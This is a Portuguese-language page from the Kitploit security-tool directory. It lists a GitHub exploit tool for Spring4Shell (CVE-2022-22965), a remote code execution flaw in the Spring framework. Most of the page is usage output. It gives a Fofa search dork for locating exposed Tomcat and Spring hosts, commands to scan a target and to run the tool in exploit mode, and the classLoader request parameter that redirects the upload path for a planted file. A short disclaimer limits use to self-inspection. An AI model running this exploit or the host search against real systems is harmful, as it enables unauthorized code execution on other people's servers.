Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22965 — Spring4Shell (CVE-2022-22965) | Kitploit
Ferramentas/GitHubGitHub/zer0yu/cve-2022-22965
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubzer0yu/cve-2022-22965

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Ver Repositório
121há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Uso

1. exibir informações

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. verificar

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. explorar

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

Talvez seja necessário alterar o caminho de upload do arquivo, que por padrão é "webapps/ROOT"

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

Aviso Legal

Este procedimento é apenas para autoinspeção de segurança, por favor, cumpra conscientemente as leis locais.

Baixar ferramenta